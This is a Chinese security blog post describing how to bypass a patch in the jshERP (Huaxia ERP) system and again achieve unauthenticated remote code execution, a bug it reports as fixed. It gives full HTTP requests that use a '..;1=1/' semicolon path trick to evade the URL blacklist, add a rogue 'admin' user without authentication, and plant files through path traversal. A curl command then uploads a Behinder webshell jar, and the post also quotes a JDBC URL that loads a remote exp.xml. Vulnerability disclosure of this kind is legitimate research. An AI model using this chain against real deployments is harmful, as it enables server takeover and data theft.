绕过补丁,再次实现华夏erp未授权rce(已修复)

绕过补丁,再次实现华夏erp未授权rce(已修复)

前言

在上一篇文章的末尾中,我们提到开发者修复了漏洞,修复的方法是ban掉了%2E和查信息的接口:

没有了这两个东西,难道真的就不能继续实现未授权rce了吗🤔

继续绕过鉴权

现在校验url的策略为:

        if(requestUrl.contains("../") || requestUrl.contains("..;/") || requestUrl.contains("%2e") || requestUrl.contains("%2E")) {
          servletResponse.setStatus(500);
          servletResponse.getWriter().write("loginOut");
          return;
      }

其实这个看起来很全面的黑名单仍然存在被绕过的可能,在 Java Web(Servlet 规范)中存在一个特性,在匹配路由时会忽略 ; 及其后面的内容,因为会将其解析成路径参数。在 Java Servlet API 中,URL 的路径部分可以包含分号,分号后面的数据被称为 Matrix ParametersPath Parameters,当容器(Tomcat、Jetty、Undertow 等)进行路由匹配时,会默认忽略分号后的内容,因为认为那部分是参数而不是路径的一部分。

例如当我们请求/account;1111/findBySelect时,Servlet 路由会正确匹配到 /account/findBySelect,而1111 会被当作 /account 这个路径段的参数。这种分号参数在 JAX-RSSpring MVC 等框架里可以用来在 URL 里直接传参(类似 REST 风格),比如:/books;lang=en;format=pdf

以 redshift jdbc url为例,就可以看到两种非常典型的传参手法,第一种就是最常见的传参方法,url尾部接?,然后用&作为连接符号:

jdbc:redshift://127.0.0.1:5432/?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://127.0.0.1:50025/exp.xml

第二种就是上文提到的通过分号进行传参:

jdbc:redshift://127.0.0.1:5432/;socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext;socketFactoryArg=http://127.0.0.1:50025/exp.xml

因此对于上面这个黑名单,最简单的绕过方法就是在分号后面随便加一点东西,这样就能在不影响路由匹配的情况下绕过黑名单../..;/,比如..;1=1/

还是用之前提到的经典例子,正常情况下,未授权访问接口/jshERP-boot/account/findBySelect会被拦截:

而我们只需要用..;1=1/构造一个白名单开头的路径,即可成功未授权访问:

GET /jshERP-boot/webjars/swagger-ui/css/..;1=1/..;1=1/..;1=1/account/findBySelect HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:3000/dashboard/analysis
Sec-GPC: 1
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

逻辑缺陷

在上一篇文章中,我们通过接口/user/info获取了管理员的密码哈希,由于这个项目只需要密码哈希即可完成登录操作,因此我们登录进入了管理员后台。在补丁中,开发者在getUser这里加上了校验,先检查是否登录,然后才能查询用户数据:

再次访问那个接口,会返回异常:

不过也就只在查用户信息这里打上了补丁,user下面的其他大部分接口还是能被我们未授权访问到的,比如我们可以看到这里有一个能插入用户的接口,他就还是能被未授权访问:

跟进insertUser,在 Service 层这里,当我们选择插入一个用户,他的密码会被初始化为123456然后转MD5:

继续跟 Mapper 接口层的insertSelective,可以看到没什么东西:

最后看到 MyBatis XML 映射层,MyBatis 框架根据 XML 配置生成动态 SQL 并执行 INSERT INTO jsh_user 的 SQL 语句,可以看到需要的参数有idusernamelogin_name 啥的:

从上往下一路跟过来应该能发现一个非常严重的问题,他这里完全没检验插入用户的信息,所以我们可以直接插入一个usernameloginName都叫admin的用户,只要id和之前管理员的120不一样,数据库就能插入成功。

再次喜提rce

这里我把原始管理员的密码改了,123456的哈希是e10adc3949ba59abbe56e057f20f883e,很明显这里不是:

如果用e10adc3949ba59abbe56e057f20f883e登录管理员也会被拒绝:

这里我们插入一个id1usernameloginName都叫admin的新用户:

POST /jshERP-boot/webjars/swagger-ui/css/..;1=1/..;1=1/..;1=1/user/add HTTP/1.1
Host: localhost:3000
If-None-Match: W/"4eb6-WjZskHod5Qc28kSz2qzMbH8uzs0"
Purpose: prefetch
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Sec-Purpose: prefetch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.102:3000/login
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 76

{
"id":"1",
"username":"admin",
"login_name":"admin",
"tenant_id":"0"
}

可以看到数据库已经插入了对应的用户,密码为123456:

现在我们就能用admin 123456再次登录后台:

虽然光看后台,我们这个新账户似乎没有上传插件这个功能点:

不过分析上传插件的接口uploadConfig,可以看到他只是校验了当前用户的LoginName是不是admin,所以这一点也无关紧要,我们现在还是能上传插件的:

首先利用路径穿越创建plugins目录:

POST /jshERP-boot/plugin/uploadPluginConfigFile HTTP/1.1
Host: 192.168.110.69:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------64343665641219398361207370473
X-Access-Token: c5ea0d60508f4533b5f816a8e5eebf6a_0
Content-Length: 257




-----------------------------64343665641219398361207370473
Content-Disposition: form-data; name="configFile"; filename="../plugins/fushuling.txt"
Content-Type: text/plain


fushuling

-----------------------------64343665641219398361207370473--

最后和之前一样部署一个冰蝎马上去即可:

curl -X POST "http://localhost:3000/jshERP-boot/plugin/uploadInstallPluginJar" -H "X-Requested-With: XMLHttpRequest" -H "X-Access-Token: b1accb46452544e9993eb8be2a2c36bd_0" -F "file=@D:\渗透工具集\Behinder_v4.1.t00ls\webshell.jar;type=application/octet-stream"

后记

现在的修复策略是ban掉了..

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇